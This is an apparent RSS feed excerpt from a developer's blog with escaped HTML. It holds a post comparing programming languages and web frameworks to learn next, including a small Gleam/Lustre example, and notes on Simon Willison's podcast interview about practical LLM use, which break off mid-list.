 &lt;td>High&lt;/td>
 &lt;td>Go is beautifully designed for web apps.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Zig&lt;/td>
 &lt;td>8&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>Very fun for highly efficient or performant code, though not my ideal tool for web apps.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Python&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>High&lt;/td>
 &lt;td>I&amp;rsquo;ve done a lot in Python but the poor packaging and lack of typing has started to bother me.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>JavaScript&lt;/td>
 &lt;td>5&lt;/td>
 &lt;td>Medium&lt;/td>
 &lt;td>I wish there were better packaging / testing tools that didn&amp;rsquo;t depend on node.js.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Angular&lt;/td>
 &lt;td>2&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>Way too magical and complex.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Vue&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>Medium&lt;/td>
 &lt;td>I loved Vue2 for a while, but I&amp;rsquo;ve been burned too many times on my app breaking due to some bug or gotcha in the framework rather than in my code.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>C++&lt;/td>
 &lt;td>4&lt;/td>
 &lt;td>Medium&lt;/td>
 &lt;td>I haven&amp;rsquo;t written it in a while. It&amp;rsquo;s okay in environments like Google with great tooling support, but I wouldn&amp;rsquo;t enjoy building a C++ dev environment from scratch in 2025.&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>C&lt;/td>
 &lt;td>6&lt;/td>
 &lt;td>Low&lt;/td>
 &lt;td>Same issues as C++ but I appreciate the simplicity.&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="methodology">Methodology&lt;/h2>
&lt;p>To research each language, I:&lt;/p>
&lt;ul>
&lt;li>Read the features page for the language&lt;/li>
&lt;li>Read the features page of the dominant web frameworks for that language&lt;/li>
&lt;li>Looked for examples of simple, &amp;ldquo;hello world&amp;rdquo; web apps in each language&lt;/li>
&lt;li>Asked LLMs to compare language features of languages to languages I know&lt;/li>
&lt;/ul>
&lt;h2 id="candidates">Candidates&lt;/h2>
&lt;h3 id="elixir--phoenix--liveview">Elixir / Phoenix / LiveView&lt;/h3>
&lt;p>Elixir is high on my list because a lot of bloggers I think are smart seem to enjoy it. It also seems to have concepts and features that sound weird and interesting.&lt;/p>
&lt;p>I like that Elixir has a very official web framework: &lt;a href="https://www.phoenixframework.org/">Phoenix&lt;/a>. I&amp;rsquo;m not crazy about Phoenix depending on Tailwind CSS by default, though it looks like I can turn that off.&lt;/p>
&lt;p>The new thing is &lt;a href="https://hexdocs.pm/phoenix_live_view/welcome.html">Phoenix LiveView&lt;/a>, which seems to be a way to create web apps without writing much JavaScript because LiveView uses websockets to push backend state down to the frontend without a page reload. But LiveView generates SPAs, and I&amp;rsquo;m &lt;a href="https://gomakethings.com/spas-were-a-mistake/">so tired of SPAs&lt;/a> and don&amp;rsquo;t want to invest in them anymore. You can use Phoenix without LiveView, but I get the sense that LiveView is where they&amp;rsquo;re investing a lot of their resources.&lt;/p>
&lt;ul>
&lt;li>Good
&lt;ul>
&lt;li>✅ Cool language features&lt;/li>
&lt;li>✅ Has a compelling solution for web apps&lt;/li>
&lt;li>✅ Built on Erlang, so it has access to the Erlang ecosystem&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bad
&lt;ul>
&lt;li>❌ No static typing&lt;/li>
&lt;li>❌ LiveView is designed for SPAs&lt;/li>
&lt;li>❌ LiveView feels &amp;ldquo;magical&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="gleam--lustre">Gleam / Lustre&lt;/h3>
&lt;p>Gleam seems like Elixir&amp;rsquo;s scrappy little brother. It has a lot of language features in common with Elixir like pattern-matching and pipelining, but it has static typing (nice!).&lt;/p>
&lt;p>Gleam doesn&amp;rsquo;t support metaprogramming, which I have mixed feelings about. In general, I dislike metaprograming and always feel like I&amp;rsquo;m not smart enough to do it, so in a way I&amp;rsquo;m happy Gleam excluded this feature. On the other hand, if my goal is to try something new, maybe I should force myself to try metaprogramming.&lt;/p>
&lt;p>Gleam&amp;rsquo;s web framework is called &lt;a href="https://hexdocs.pm/lustre/index.html">lustre&lt;/a>, which has you write HTML in the form of Gleam function calls:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>&lt;span style="color:#666"> &lt;/span>app&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>lustre.&lt;span style="color:#447fcf">element&lt;/span>(&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>html.&lt;span style="color:#447fcf">div&lt;/span>([],&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>html.&lt;span style="color:#447fcf">h1&lt;/span>([],&lt;span style="color:#666"> &lt;/span>[html.&lt;span style="color:#447fcf">text&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;Hello, world!&amp;#34;&lt;/span>)]),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>html.&lt;span style="color:#447fcf">figure&lt;/span>([],&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>html.&lt;span style="color:#447fcf">img&lt;/span>([attribute.&lt;span style="color:#447fcf">src&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;https://cdn2.thecatapi.com/images/b7k.jpg&amp;#34;&lt;/span>)]),&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>html.&lt;span style="color:#447fcf">figcaption&lt;/span>([],&lt;span style="color:#666"> &lt;/span>[html.&lt;span style="color:#447fcf">text&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;A cat!&amp;#34;&lt;/span>)])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>])&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">let&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">assert&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Ok&lt;/span>(_)&lt;span style="color:#666"> &lt;/span>=&lt;span style="color:#666"> &lt;/span>lustre.&lt;span style="color:#447fcf">start&lt;/span>(app,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;#app&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Nil&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">Nil&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Honestly, writing HTML like that looks super tedious and ugly, but I&amp;rsquo;m open to trying it.&lt;/p>
&lt;p>Gleam hasn&amp;rsquo;t reached critical mass yet, so there&amp;rsquo;s a risk that the language won&amp;rsquo;t be around in five years, but I guess that&amp;rsquo;s okay. I&amp;rsquo;m not planning to build a business on Gleam, just play around and learn some new things.&lt;/p>
&lt;ul>
&lt;li>Good
&lt;ul>
&lt;li>✅ Cool language features&lt;/li>
&lt;li>✅ Built on Erlang, so it has access to the Erlang and Elixir ecosystems&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bad
&lt;ul>
&lt;li>❌ Relatively new and immature language&lt;/li>
&lt;li>❌ Not many learning resources outside of the official docs&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="haskell">Haskell&lt;/h3>
&lt;p>The people I know who enjoy Haskell tend to be annoyingly smart language nerds who love thinking about compiler and language design. That&amp;rsquo;s not me.&lt;/p>
&lt;p>The thing that made me most curious about Haskell is Alexis King&amp;rsquo;s &lt;a href="https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-validate/">&amp;ldquo;Parse, don&amp;rsquo;t validate&amp;rdquo;&lt;/a>, which made me appreciate static typing when I&amp;rsquo;d never cared that much before. I apply Alexis&amp;rsquo; ideas in Go, but Haskell expresses way more with data types, which sounds cool.&lt;/p>
&lt;p>Haskell has lots of wacky features that feel like they&amp;rsquo;ll expand my mind like monads, infinite data structures, and algebraic data types, but I also feel like there might be a steep learning curve to becoming productive in the language.&lt;/p>
&lt;p>The popular web frameworks seem to be &lt;a href="https://ihp.digitallyinduced.com/">IHP&lt;/a> and &lt;a href="https://www.yesodweb.com/">Yesod&lt;/a>. IHP seems to strictly require PostgreSQL, which is a dealbreaker, so I guess that leaves Yesod. But Yesod looks nice. There&amp;rsquo;s &lt;a href="https://www.yesodweb.com/book">a free O&amp;rsquo;Reilly book&lt;/a> for it, and the simple examples seem straightforward, if a bit alien in syntax.&lt;/p>
&lt;p>Haskell / Yesod feels like the stack I &lt;em>should&lt;/em> learn, but it doesn&amp;rsquo;t seem as fun as Elixir or Gleam.&lt;/p>
&lt;ul>
&lt;li>Good
&lt;ul>
&lt;li>✅ Rich, mature ecosystem&lt;/li>
&lt;li>✅ More powerful type system than any other language I know&lt;/li>
&lt;li>✅ Will maybe help me understand Nix&lt;/li>
&lt;li>✅ Lots of learning resources available (including for free)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bad
&lt;ul>
&lt;li>❌ Code looks kind of ugly to me, but maybe that&amp;rsquo;s just unfamiliarity&lt;/li>
&lt;li>❌ Learning curve seems steep&lt;/li>
&lt;li>❌ I&amp;rsquo;d become a weird Haskell person&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="ruby--rails">Ruby / Rails&lt;/h3>
&lt;p>Ruby on Rails is attractive because I know a lot of people love it and feel incredibly productive in it. But looking at the language features, I&amp;rsquo;m not seeing anything that feels new or innovative coming from Python.&lt;/p>
&lt;p>My impression of Rails is that it&amp;rsquo;s an opinionated framework, but the opinions are really good. Rails fans rave about how well the framework abstracts away toil without taking power or customizability away from the developer.&lt;/p>
&lt;ul>
&lt;li>Good
&lt;ul>
&lt;li>✅ Rich, mature ecosystem&lt;/li>
&lt;li>✅ Designed to scale down well&lt;/li>
&lt;li>✅ Lots of people seem to love it&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bad
&lt;ul>
&lt;li>❌ No static typing&lt;/li>
&lt;li>❌ Ruby looks pretty similar to Python, so I don&amp;rsquo;t know how much I&amp;rsquo;d learn&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="php--laravel">PHP / Laravel&lt;/h3>
&lt;p>I&amp;rsquo;ll admit that I have an elitist aversion to PHP.&lt;/p>
&lt;p>PHP and I had some fun together in college, but when I learned other languages, PHP just felt gross.&lt;/p>
&lt;p>In the last few years, I&amp;rsquo;ve heard that PHP has matured and Laravel makes PHP web development feel professional and smooth, so I took a look.&lt;/p>
&lt;p>I found it surprisingly difficult to find examples of basic Laravel apps. The &lt;a href="https://laravel.com/docs/12.x/installation">Laravel docs&lt;/a> show the commands for creating a basic app, but they don&amp;rsquo;t show what the code looks like or how it renders. &lt;del>I&amp;rsquo;m guessing that because part of Laravel&amp;rsquo;s business model is selling video courses via Laracasts, the public, text-based documentation isn&amp;rsquo;t so good&lt;/del> (Edit: Laravel does not own Laracasts, although some Laravel core developers have published courses on Laracasts).&lt;/p>
&lt;p>The closest thing to basic examples I could find were &lt;a href="https://laravel.com/docs/12.x/starter-kits">starter kits&lt;/a>, which pull in React (no thanks), Vue (no thanks), or Livewire (don&amp;rsquo;t know it, but it&amp;rsquo;s in bad company). But it looks like Laravel&amp;rsquo;s built-in frontend solution is &lt;a href="https://laravel.com/docs/12.x/blade">Blade Templates&lt;/a>, which actually look pretty nice to me, as far as HTML templating languages go.&lt;/p>
&lt;ul>
&lt;li>Good
&lt;ul>
&lt;li>✅ Supports static typing&lt;/li>
&lt;li>✅ From a first glance, I like Blade templating&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bad
&lt;ul>
&lt;li>❌ Language looks gross&lt;/li>
&lt;li>❌ I couldn&amp;rsquo;t find good written introductions to Laravel&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="scala">Scala&lt;/h3>
&lt;p>I hear positive things about Scala. The language looks interesting and has a lot of features I&amp;rsquo;ve never experienced in a language. The syntax looks like a less verbose Java, which is nice.&lt;/p>
&lt;p>Scala seems to be strongly object-oriented. I used to like OO, but after years of using Go&amp;rsquo;s much more restrictive OO features, I&amp;rsquo;ve come to feel like inheritance and polymorphism are more trouble than they&amp;rsquo;re worth.&lt;/p>
&lt;p>It seems like the dominant web framework is &lt;a href="https://www.playframework.com/">Play&lt;/a>, but reading through the documentation, it feels dated and Enterprise-y. The &lt;a href="https://www.playframework.com/documentation/3.0.x/HelloWorldTutorial">hello world tutorial&lt;/a> opens with a complicated chart of Play&amp;rsquo;s architecture, which is super boring and does not make me excited to learn the framework.&lt;/p>
&lt;p>&lt;a href="https://scalatra.org/">Scalatra&lt;/a> is another Scala web framework that focuses more on simplicity, but the documentation is pretty light on examples. Though there is &lt;a href="https://www.manning.com/books/scalatra-in-action">an ebook&lt;/a> I could buy.&lt;/p>
&lt;ul>
&lt;li>Good
&lt;ul>
&lt;li>✅ Interesting features around typing like variance annotations and compound types&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Bad
&lt;ul>
&lt;li>❌ Scala&amp;rsquo;s object-oriented aspects remind me of the bad parts of C++, though not quite as bad&lt;/li>
&lt;li>❌ Seems tightly entwined in the Java ecosystem, which I don&amp;rsquo;t enjoy&lt;/li>
&lt;li>❌ I can&amp;rsquo;t get excited about any of the web frameworks&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="summary">Summary&lt;/h2>
&lt;p>Gleam feels like the best match for my goals and experience, with Elixir as a close second. Haskell is the language I should learn when I work up the courage and patience.&lt;/p>
&lt;p>I plan to experiment a little bit with Gleam + Lustre and Elixir + Phoenix and see which one feels more interesting.&lt;/p></content:encoded></item><item><title>Notes from Simon Willison's Interview on Software Misadventures</title><link>https://mtlynch.io/notes/simon-willison-software-misadventures/</link><pubDate>Fri, 23 May 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/simon-willison-software-misadventures/</guid><description>&lt;p>I just finished listening to &lt;a href="https://softwaremisadventures.com/p/simon-willison-llm-weird-intern">Simon Willison&amp;rsquo;s interview on the &lt;em>Software Misadventures&lt;/em> podcast&lt;/a>. I learned a lot from the interview, so I wrote up my notes.&lt;/p>
&lt;p>This is not a summary of the whole interview, just the parts that were new to me or that I&amp;rsquo;d like to remember.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/simon-willison-software-misadventures/cover.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_c41fa8f7b5df83db.webp 300w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_d5195d8214cfd95c.webp 600w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_af058ca579551363.webp 800w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_cfba590a006cfb03.webp 1200w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover.webp 1920w'
 src="https://mtlynch.io/notes/simon-willison-software-misadventures/cover.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Simon Willison on the &lt;a href="https://softwaremisadventures.com/p/simon-willison-llm-weird-intern">&lt;em>Software Misadventures&lt;/em> podcast&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="whos-simon-willison">Who&amp;rsquo;s Simon Willison?&lt;/h2>
&lt;ul>
&lt;li>One of the co-creators of Django, the most popular web framework for Python.&lt;/li>
&lt;li>One of the &lt;a href="https://refactoringenglish.com/tools/hn-popularity/domain/?d=simonwillison.net">most popular indepedent bloggers on Hacker News&lt;/a>.&lt;/li>
&lt;li>For the last few years, has focused &lt;a href="https://simonwillison.net">his blog&lt;/a> primarily on AI, especially on applications of AI technology in everyday software development.&lt;/li>
&lt;li>Currently working on an open-source data analysis tool called &lt;a href="https://datasette.io/">Datasette&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="plugins-as-a-form-of-open-source-contribution">Plugins as a form of open-source contribution&lt;/h2>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=1826s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p></description><content:encoded>&lt;p>I just finished listening to &lt;a href="https://softwaremisadventures.com/p/simon-willison-llm-weird-intern">Simon Willison&amp;rsquo;s interview on the &lt;em>Software Misadventures&lt;/em> podcast&lt;/a>. I learned a lot from the interview, so I wrote up my notes.&lt;/p>
&lt;p>This is not a summary of the whole interview, just the parts that were new to me or that I&amp;rsquo;d like to remember.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/notes/simon-willison-software-misadventures/cover.webp">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_c41fa8f7b5df83db.webp 300w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_d5195d8214cfd95c.webp 600w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_af058ca579551363.webp 800w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover_hu_cfba590a006cfb03.webp 1200w, https://mtlynch.io/notes/simon-willison-software-misadventures/cover.webp 1920w'
 src="https://mtlynch.io/notes/simon-willison-software-misadventures/cover.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Simon Willison on the &lt;a href="https://softwaremisadventures.com/p/simon-willison-llm-weird-intern">&lt;em>Software Misadventures&lt;/em> podcast&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="whos-simon-willison">Who&amp;rsquo;s Simon Willison?&lt;/h2>
&lt;ul>
&lt;li>One of the co-creators of Django, the most popular web framework for Python.&lt;/li>
&lt;li>One of the &lt;a href="https://refactoringenglish.com/tools/hn-popularity/domain/?d=simonwillison.net">most popular indepedent bloggers on Hacker News&lt;/a>.&lt;/li>
&lt;li>For the last few years, has focused &lt;a href="https://simonwillison.net">his blog&lt;/a> primarily on AI, especially on applications of AI technology in everyday software development.&lt;/li>
&lt;li>Currently working on an open-source data analysis tool called &lt;a href="https://datasette.io/">Datasette&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="plugins-as-a-form-of-open-source-contribution">Plugins as a form of open-source contribution&lt;/h2>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=1826s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Designing an application to accept plug-ins that extend its functionality is a form of collaboration that&amp;rsquo;s even lower-friction than accepting open-source contributions.
&lt;ul>
&lt;li>External collaborators can add features without you having to review or approve anything, and you&amp;rsquo;re not responsible for maintaining their code.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>The great thing about plugins is it&amp;rsquo;s a way of building an open-source project where you don&amp;rsquo;t need to review people&amp;rsquo;s code to add features to your thing. I can wake up one morning and my software can do a new thing because somebody else released a plugin for it.&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>[Editor&amp;rsquo;s note: I found this to be an interesting observation. I&amp;rsquo;ve never designed any software to accept plugins, but Simon makes an excellent case for this type of architecture.]&lt;/em>&lt;/p>
&lt;h2 id="llms">LLMs&lt;/h2>
&lt;h3 id="developing-an-intuition-about-how-to-use-llms">Developing an intuition about how to use LLMs&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=2001s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>LLMs are deceptively hard to use because the limitations aren&amp;rsquo;t obvious.
&lt;ul>
&lt;li>They seem easy because they&amp;rsquo;re just chatbots, but you need to use them for several hours on a variety of tasks to develop an intuition about what they can and can&amp;rsquo;t do.&lt;/li>
&lt;li>Example: LLMs are bad at counting, which is surprising given that computers generally are great at counting.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Simon recommends the &lt;a href="https://docs.anthropic.com/en/docs/build-with-claude/prompt-engineering/overview">Anthropic prompt engineering documentation&lt;/a> as an effective way to improve your use of LLMs.&lt;/li>
&lt;li>Simon recommends learning with self-hostable models (e.g., Phi-3, LLama 3.1), as they hallucinate and make mistakes more frequently, so you&amp;rsquo;ll develop a better intuition of what LLMs are bad at.&lt;/li>
&lt;/ul>
&lt;h3 id="how-simon-uses-llms">How Simon uses LLMs&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=1942s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Summarizing information
&lt;ul>
&lt;li>Take advantage of long context windows to accelerate research. For example, to research a person, dump into the chat their Wikipedia page, articles about them, and their writing, and ask the LLM to summarize key themes with examples.&lt;/li>
&lt;li>Ask for direct quotes, and check the original source to verify that the LLM didn&amp;rsquo;t hallucinate the quote.
&lt;blockquote>
&lt;p>If a friend of mine could read a Wikipedia page and then answer my question, then I know that the LLM will be able to answer that question. But if it&amp;rsquo;s the kind of thing which the Wikipedia page probably isn&amp;rsquo;t going to cover, it&amp;rsquo;s less likely that the LLM will be able to answer it.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Asking about domains in which you have expertise
&lt;blockquote>
&lt;p>I&amp;rsquo;ll ask it legal questions, like I&amp;rsquo;ll paste in the terms of service and say, &amp;ldquo;Hey, is there anything in here that looks a bit dodgy?&amp;rdquo;&lt;/p>
&lt;p>I know for a fact that that&amp;rsquo;s a terrible idea because I have no legal knowledge, right? So, I&amp;rsquo;m sort of like play acting with it and nodding along, but I would never make a life-altering decision based on legal advice from an LLM that I got because I&amp;rsquo;m not a lawyer.&lt;/p>
&lt;p>If I was a lawyer, I&amp;rsquo;d use them all the time because I&amp;rsquo;d be able to fall back on my actual expertise to sort of like make sure that I&amp;rsquo;m using them responsibly.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;li>Writing SQL queries
&lt;ul>
&lt;li>Simon advises showing the LLM your full table schema and a few sample rows.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Data entry
&lt;ul>
&lt;li>e.g., transcribing information from handwritten notes or pulling structured data out of unstructured documents&lt;/li>
&lt;li>The best LLMs achieve about 95% accuracy, which is roughly on par with what you&amp;rsquo;d get hiring a group of human interns to do the same task.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Making software architecture decisions
&lt;ul>
&lt;li>Simon asks LLMs to give him a variety of options for achieving the same task and talks through their advantages and disadvantages.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Reading academic papers
&lt;ul>
&lt;li>Simon wrote a tool called &lt;a href="https://simonwillison.net/2023/Nov/11/chatgpt-dejargonizer/">Dejargonizer&lt;/a> that explains unfamiliar terms.&lt;/li>
&lt;li>&lt;em>[Editor&amp;rsquo;s note: I found the tool to be more of a fun idea than an actual practical tool. You have to paste in text, and I exhausted the context limit by feeding in a 5-page paper. It would make more sense to rewrite the text with the jargon words defined inline.]&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="simons-weird-intern-mental-model-for-llms">Simon&amp;rsquo;s &amp;ldquo;weird intern&amp;rdquo; mental model for LLMs&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=4680s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Simon describes LLMs to his wife as &amp;ldquo;his weird intern.&amp;rdquo;
&lt;blockquote>
&lt;p>It&amp;rsquo;s like having an intern who has&amp;hellip; memorized the documentation for every programming language and is a wild conspiracy theorist and sometimes comes up with absurd ideas and&amp;hellip; they&amp;rsquo;re massively overconfident.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;li>A major advantage to an LLM over a human teammate is that you can continue asking it to improve a solution.
&lt;ul>
&lt;li>With a human teammate, you eventually have to stop asking for new iterations because it&amp;rsquo;s frustrating for a human for you to keep thinking of new ideas to improve a pull request, but an LLM, you can ask for massive rewrites without worrying that you&amp;rsquo;re disrespecting its time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Simon has found that you can get an LLM to improve its answers by just saying, &amp;ldquo;Do better&amp;rdquo;:
&lt;blockquote>
&lt;p>One of my favorite prompts is you just say, &amp;ldquo;Do better,&amp;rdquo; and it works. It&amp;rsquo;s the craziest thing!&lt;/p>
&lt;p>It&amp;rsquo;ll write some code, and you say, &amp;ldquo;Do better,&amp;rdquo; and it goes, &amp;ldquo;Oh I&amp;rsquo;m sorry,&amp;rdquo; and then it will churn out better code, which is so stupid that that&amp;rsquo;s how this technology works, but it&amp;rsquo;s kinda fun.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h3 id="llms-make-projects-viable-that-previously-werent-worth-the-effort">LLMs make projects viable that previously weren&amp;rsquo;t worth the effort&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=4115s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>One of the major impacts LLMs have had on Simon is that it makes him more ambitious as a developer.
&lt;ul>
&lt;li>Previously, he&amp;rsquo;d think of a project and recognize the right language to implement it is AppleScript or Go, and he&amp;rsquo;d shelve the idea because he doesn&amp;rsquo;t know those languages.&lt;/li>
&lt;li>Now, he can use LLMs to generate the code and verify it does what he wants.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>He could have learned those technologies before, but LLMs lower the barrier to entry enough that they&amp;rsquo;re more practical to create:
&lt;blockquote>
&lt;p>All of these little projects would not exist without LLMs. Not because I couldn&amp;rsquo;t build them, but because I couldn&amp;rsquo;t build them fast enough to justify the effort.&lt;/p>&lt;/blockquote>
&lt;/li>
&lt;/ul>
&lt;h3 id="staying-on-top-of-llm-developments">Staying on top of LLM developments&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=4979s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>Highest-signal information comes from private WhatsApp and Discord groups of 15ish people.&lt;/li>
&lt;li>Twitter has good AI discussion.
&lt;ul>
&lt;li>Mastodon does not, as it attracts AI skeptics.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Because of Simon&amp;rsquo;s blog, people often send him tips about interesting new LLM developments.&lt;/li>
&lt;/ul>
&lt;h3 id="why-llms-might-not-pollute-the-world-with-terrible-code">Why LLMs might not pollute the world with terrible code&lt;/h3>
&lt;p>&lt;a href="https://www.youtube.com/watch?v=6U_Zk_PZ6Kg&amp;amp;t=5123s">&lt;em>Original discussion&lt;/em>&lt;/a>&lt;/p>
&lt;ul>
&lt;li>The downside of LLMs is that code is going into production that its authors don&amp;rsquo;t even understand.
&lt;ul>
&lt;li>That&amp;rsquo;s a risk for the world, as it suggests that LLMs will degrade overall software quality.&lt;/li>
&lt;/ul>
&lt;/li>
